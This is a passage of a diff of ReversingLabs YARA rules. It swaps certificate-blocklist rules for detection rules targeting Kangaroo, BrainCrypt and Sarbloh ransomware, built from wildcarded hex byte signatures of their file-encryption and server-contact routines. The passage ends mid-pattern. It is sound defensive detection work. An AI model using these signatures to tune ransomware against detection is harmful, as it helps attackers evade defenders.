REVERSINGLABS_Win32_Ransomware_Kangaroo : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Kangaroo ransomware." author = "ReversingLabs" - id = "6dfb0181-299f-5a28-b647-137d75f747a6" - date = "2020-08-05" - modified = "2023-11-08" + id = "ec4342c1-adc9-5ddb-b403-83c2b1ce5899" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L225-L241" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Kangaroo.yara#L1-L91" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b07c797652ef19c7e0b23c3eddbbbf2700160d743d71a0005b950160474638d8" + logic_hash = "1078fb3d47ad737548419e5ee66e686f705c02fea27a58c0097446547325772c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Kangaroo" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 83 EC ?? 53 55 8B 6C 24 ?? 56 57 33 FF 57 57 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 33 DB 55 + 89 5C 24 ?? 89 7C 24 ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 0F 84 ?? ?? ?? + ?? 8D 44 24 ?? 50 8D 4C 24 ?? 51 8D 54 24 ?? 52 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 57 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? + 8B 54 24 ?? 8D 4C 24 ?? 51 57 57 68 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 + ?? ?? ?? ?? 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 03 C0 50 8B 44 24 ?? 68 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 54 24 ?? 8B 44 24 ?? 8D 4C 24 ?? + 51 6A ?? 52 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 57 56 FF + 15 ?? ?? ?? ?? 8B 54 24 ?? 57 8D 4C 24 ?? 51 57 57 6A ?? 57 52 89 44 24 ?? FF 15 ?? + ?? ?? ?? 8B 44 24 ?? 6A ?? 68 ?? ?? ?? ?? 50 57 8B 3D ?? ?? ?? ?? FF D7 8B 54 24 + } + $encrypt_files_p2 = { + 6A ?? 8D 4C 24 ?? 51 52 8B D8 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B + 44 24 ?? 8B 54 24 ?? 50 8D 4C 24 ?? 51 53 6A ?? 6A ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 83 + F8 ?? 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? + 8B 4C 24 ?? 6A ?? 8D 44 24 ?? 50 51 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 8D 54 24 + ?? 52 8D 44 24 ?? 50 8D 4C 24 ?? 51 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D7 68 ?? ?? ?? ?? 55 8B F8 68 ?? ?? ?? ?? 57 + FF 15 ?? ?? ?? ?? 83 C4 ?? 57 55 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? + ?? ?? ?? 8B C5 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 53 FF 15 + ?? ?? ?? ?? 8B 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 33 FF 8B 44 24 ?? 50 FF 15 + ?? ?? ?? ?? 89 7C 24 ?? 8B 4C 24 ?? 57 51 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 5F + 5E 5D 8B C3 5B 83 C4 ?? C3 + } + $find_files = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 8B 75 ?? 57 56 FF 15 ?? ?? ?? ?? 8B 3D ?? + ?? ?? ?? 33 C9 83 F8 ?? 0F 94 C1 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 89 4C 24 + ?? FF D7 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 44 24 + ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? EB ?? EB ?? 8D A4 24 ?? ?? ?? ?? 90 + 8B 3D ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 8D 54 24 ?? 52 56 68 ?? ?? ?? ?? 8D 84 24 ?? + ?? ?? ?? 50 EB ?? 8D 4C 24 ?? 51 56 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF D7 83 + C4 ?? F6 44 24 ?? ?? 74 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 + C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 51 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8D + 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 33 FF 33 F6 EB ?? 8D 9B + ?? ?? ?? ?? 8B 86 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF D3 85 C0 74 ?? BF ?? ?? + ?? ?? 83 C6 ?? 83 FE ?? 72 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF D3 85 C0 75 + ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 85 C0 74 ?? BF ?? ?? ?? ?? 8B 44 24 + ?? A8 ?? 75 ?? A9 ?? ?? ?? ?? 75 ?? 85 FF 75 ?? 3D ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? + 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 8C + 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 75 ?? 8B 44 24 ?? 8D 54 24 ?? 52 50 FF 15 ?? + ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? 51 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D + C3 + } + $enum_resources = { + 55 8B EC 83 E4 ?? 83 EC ?? 8B 4D ?? 53 56 57 8D 44 24 ?? 50 51 6A ?? 6A ?? 6A ?? C7 + 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5F 5E + 5B 8B E5 5D C2 ?? ?? 8B 54 24 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8B 4C + 24 ?? 8B C3 85 C9 74 ?? 8D 64 24 ?? C6 00 ?? 40 83 E9 ?? 75 ?? 8B 54 24 ?? 8D 44 24 + ?? 50 53 8D 4C 24 ?? 51 52 E8 ?? ?? ?? ?? 85 C0 75 ?? 33 FF 39 7C 24 ?? 76 ?? 8D 73 + ?? 8D 49 ?? 83 7E ?? ?? 75 ?? 8B 06 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4E ?? 83 E1 ?? 80 + F9 ?? 75 ?? 8D 56 ?? 52 E8 ?? ?? ?? ?? 47 83 C6 ?? 3B 7C 24 ?? 72 ?? EB ?? 3D ?? ?? + ?? ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 50 E8 ?? ?? ?? ?? 5F 5E B8 ?? ?? ?? ?? + 5B 8B E5 5D C2 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fortuna Games Co., Ltd." and pe.signatures [ i ] . serial == "02:8e:1d:ec:cf:93:d3:8e:cf:39:61:18:df:e9:08:b4" and 1392163199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $enum_resources ) } - -rule REVERSINGLABS_Cert_Blocklist_40575Df73Eaa1B6140C7Ef62C08Bf216 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Braincrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects BrainCrypt ransomware." author = "ReversingLabs" - id = "6a6e6320-8e01-5ec7-8119-3e90f1eacc4e" - date = "2020-08-05" - modified = "2023-11-08" + id = "190798d5-594d-5b80-aa0e-8d7ff167f1c0" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L243-L259" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BrainCrypt.yara#L1-L121" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7da8e98f38413e5cbb18e3c7771c530afb766dd9fbeb8fdd2264617aff24f920" + logic_hash = "85866d6ffa136bf3ed27bbab55ae5430af4a1363930ebacab0df9ad24f8734cb" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "BrainCrypt" + tc_detection_factor = 5 importance = 25 + strings: + $get_files_for_encryption_32 = { + 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 80 7C 24 + ?? ?? 74 ?? 8B 5C 24 ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? BB ?? ?? ?? ?? 89 5C 24 ?? + E8 ?? ?? ?? ?? 83 C4 ?? C3 83 3D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? + 83 C3 ?? FC 8B 0B 89 0C 24 8B 4B ?? 89 4C 24 ?? 83 3D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? + ?? 8B 1D ?? ?? ?? ?? 83 C3 ?? 8D 7C 24 ?? FC 8B 0B 89 0F 8B 4B ?? 89 4F ?? E8 ?? ?? + ?? ?? 8B 5C 24 ?? 89 1D ?? ?? ?? ?? 8B 5C 24 ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 89 1D ?? + ?? ?? ?? 8B 5C 24 ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? BB ?? ?? ?? ?? 89 5C 24 ?? E8 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 0C 24 8B 44 24 ?? C7 04 24 ?? ?? ?? ?? 89 4C 24 ?? 89 + 4C 24 ?? 89 44 24 ?? 89 44 24 ?? BB ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 5C 24 ?? FC 8B 0B 89 0C 24 8B 4B ?? 89 4C 24 ?? E8 ?? ?? ?? ?? E9 + ?? ?? ?? ?? BD ?? ?? ?? ?? 89 2C 24 89 5C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 0F 0B E8 ?? ?? ?? ?? 0F 0B E8 ?? ?? ?? ?? E9 + } + $encrypt_file_32 = { + 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 8B 5C 24 + ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? 8B 44 24 + ?? 89 54 24 ?? 89 14 24 89 4C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 44 24 ?? 8B 5C 24 ?? + 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 54 24 + ?? 8B 4C 24 ?? 8B 44 24 ?? 8B 5C 24 ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? 89 54 24 ?? + 89 54 24 ?? 89 4C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? C3 E8 ?? ?? ?? ?? E9 + } + $attach_to_server_32 = { + 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 31 DB 89 + 5C 24 ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 89 CF 83 F9 ?? + 0F 84 ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 89 4C 24 ?? 89 0C 24 83 3C 24 ?? 0F 84 ?? ?? + ?? ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 + 1C 24 83 3C 24 ?? 0F 84 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 1C 24 83 3C 24 ?? 0F 84 ?? ?? ?? ?? BB ?? ?? ?? ?? + 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 1C 24 83 3C 24 ?? + 0F 84 ?? ?? ?? ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B + 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 31 DB 89 5C 24 ?? 89 5C 24 ?? 31 ED 39 E8 0F 85 + ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 4C 24 ?? 89 0C 24 89 44 24 ?? 89 44 24 + ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 48 ?? 8B 68 + ?? 89 6C 24 ?? 89 6C 24 ?? 89 4C 24 ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 8D 59 ?? C7 04 24 + ?? ?? ?? ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? C7 04 24 ?? ?? ?? + ?? 8B 44 24 ?? 83 F8 ?? 74 ?? 83 C0 ?? 8D 7C 24 ?? FC 8B 08 89 0F 8B 48 ?? 89 4F ?? + E8 ?? ?? ?? ?? 8D 5C 24 ?? FC 8B 0B 89 0C 24 8B 4B ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B + 54 24 ?? 8B 4C 24 ?? 8B 44 24 ?? C7 04 24 ?? ?? ?? ?? 89 54 24 ?? 89 54 24 ?? 89 4C + 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 5C 24 ?? 8B + 5C 24 ?? 89 5C 24 ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 + } + $get_files_for_encryption_64 = { + 65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83 + EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 0F B6 44 24 ?? 84 C0 0F 85 ?? ?? ?? ?? 48 8B 05 + ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 83 F9 ?? 0F 86 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 40 + ?? 48 89 0C 24 48 89 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 83 F9 ?? + 0F 86 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 40 ?? 48 89 4C 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? + ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 0D ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 84 C9 0F 85 + ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 44 24 ?? 48 89 44 + 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 04 24 + 48 8B 4C 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 8D 05 ?? ?? + ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B + 4C 24 ?? 48 89 04 24 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 C4 ?? C3 48 + 8D 0D ?? ?? ?? ?? 48 89 0C 24 48 89 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 0F 0B 48 8B 44 24 ?? 48 89 04 24 48 8B 44 24 ?? 48 89 44 24 ?? 48 8D 05 ?? ?? + ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? E9 + } + $attach_to_server_64 = { + 65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83 + EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? + ?? ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 89 + 7C 24 ?? 84 07 0F 57 C0 48 83 C7 ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 + 8B 6D ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 8B 4C 24 ?? 48 + 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8D 0D ?? ?? ?? ?? 48 89 4C + 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8D 0D + ?? ?? ?? ?? 48 89 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? + 48 89 04 24 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 8B 4C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? + ?? 48 8B 44 24 ?? 48 8B 48 ?? 48 8B 10 48 8B 58 ?? 48 8B 40 ?? 48 39 CB 0F 87 ?? ?? + ?? ?? 48 29 D9 48 29 D8 48 85 C0 0F 84 ?? ?? ?? ?? 48 C7 04 24 ?? ?? ?? ?? 48 01 DA + 48 89 54 24 ?? 48 89 4C 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C + 24 ?? 48 89 0C 24 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B + 48 ?? 48 8B 50 ?? 84 01 48 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 48 83 C1 ?? 48 89 4C 24 + ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 48 8B 44 + 24 ?? 48 8B 48 ?? 48 8B 40 ?? 48 89 4C 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 + 24 ?? 48 8B 4C 24 ?? 48 89 04 24 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B + 4C 24 ?? 48 8B 54 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 89 + 54 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 44 24 ?? 48 89 8C 24 ?? + ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 C4 ?? C3 90 E8 ?? ?? ?? ?? 48 8B 6C + 24 ?? 48 83 C4 ?? C3 31 DB E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 0B E8 ?? ?? ?? ?? E9 + } + $encrypt_file_64 = { + 65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83 + EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 44 24 ?? 48 89 + 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 89 04 24 48 + 89 4C 24 ?? 48 89 54 24 ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 + 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 + 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 89 1C 24 48 8B 5C 24 ?? 48 89 5C 24 ?? + 48 89 44 24 ?? 48 89 4C 24 ?? 48 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 8B 6C 24 ?? 48 83 C4 ?? C3 E8 ?? ?? ?? ?? E9 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dali Feifang Tech Co.,LTD." and pe.signatures [ i ] . serial == "40:57:5d:f7:3e:aa:1b:61:40:c7:ef:62:c0:8b:f2:16" and 1394063999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $get_files_for_encryption_32 and $encrypt_file_32 and $attach_to_server_32 ) or ( $get_files_for_encryption_64 and $encrypt_file_64 and $attach_to_server_64 ) ) } - -rule REVERSINGLABS_Cert_Blocklist_049Ce8C47F1F0E650Cb086F0Cfa7Ca53 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Sarbloh : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Sarbloh ransomware." author = "ReversingLabs" - id = "aebba591-2024-584a-bba6-9a27049cf4b8" - date = "2020-08-05" - modified = "2023-11-08" + id = "532abd77-f091-5c54-87a3-7e8be5253efd" + date = "2021-05-21" + modified = "2021-05-21" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L261-L277" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sarbloh.yara#L1-L88" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9ae4a236e1252afc1db6fae4e388a53ebde7e724cc07c213d4bfc176cf0a0096" + logic_hash = "7259aa9d1fe657db220ee50f1610e6439ff61673d92f46ebc3b8cadd990f002c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Sarbloh" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 8B 45 ?? C6 00 ?? 8B 45 ?? 40 89 45 ?? 39 75 ?? 72 ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? + ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 75 + ?? 81 FE ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 8B D8 89 5D ?? 85 DB 0F 84 ?? ?? ?? ?? C1 E6 ?? 56 6A ?? 89 75 ?? FF 15 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7D ?? 8D 85 ?? ?? ?? ?? + 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B + 8D ?? ?? ?? ?? 8B C1 8B 55 ?? 0B C2 89 4D ?? 89 55 ?? 0F 84 ?? ?? ?? ?? 0F 57 C0 66 + 0F 13 45 ?? 85 D2 0F 8C ?? ?? ?? ?? 7F ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? + 8B 45 ?? 89 45 ?? EB ?? 8B 75 ?? 8B 7D ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? + 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 89 4D ?? 89 45 ?? + 85 C0 0F 8C ?? ?? ?? ?? 7F ?? 85 C9 0F 82 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 85 + ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 6A ?? 6A ?? 56 8B 75 ?? + 8D 45 ?? 56 50 6A ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 85 C0 0F + 85 ?? ?? ?? ?? 8B 75 ?? EB ?? 33 F6 8B 45 ?? 8B 4D ?? 89 75 ?? 89 4D ?? 89 45 ?? 85 + C0 0F 8C ?? ?? ?? ?? 7F ?? 85 C9 0F 82 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 85 ?? + ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 33 FF 85 C0 0F 88 ?? ?? ?? ?? 85 F6 0F 84 + } + $encrypt_files_p2 = { + 8B 75 ?? 8D 45 ?? 56 50 53 52 6A ?? 52 FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 56 53 8D 45 ?? 50 6A ?? 6A ?? 6A ?? FF 75 ?? + FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B 4D ?? + 81 C7 ?? ?? ?? ?? 3B 7D ?? 72 ?? 8B 75 ?? 03 75 ?? 8B 45 ?? 83 D0 ?? 89 75 ?? 89 45 + ?? 3B 45 ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B B5 ?? ?? ?? ?? 8B 75 ?? 0F 82 ?? ?? ?? ?? 8D + 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? F7 D8 6A ?? 1B DB 8D 45 + ?? 23 5D ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? 89 5D ?? 89 5D ?? FF 15 ?? ?? ?? ?? + F7 D8 1B F6 23 75 ?? 56 6A ?? 89 75 ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 + 85 FF 0F 84 ?? ?? ?? ?? 8D 45 ?? 89 5D ?? 50 57 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? + ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 8D 45 ?? 89 5D ?? 50 57 6A ?? 6A ?? 6A ?? FF 75 + ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 56 57 8D 45 ?? 50 6A ?? 6A + ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 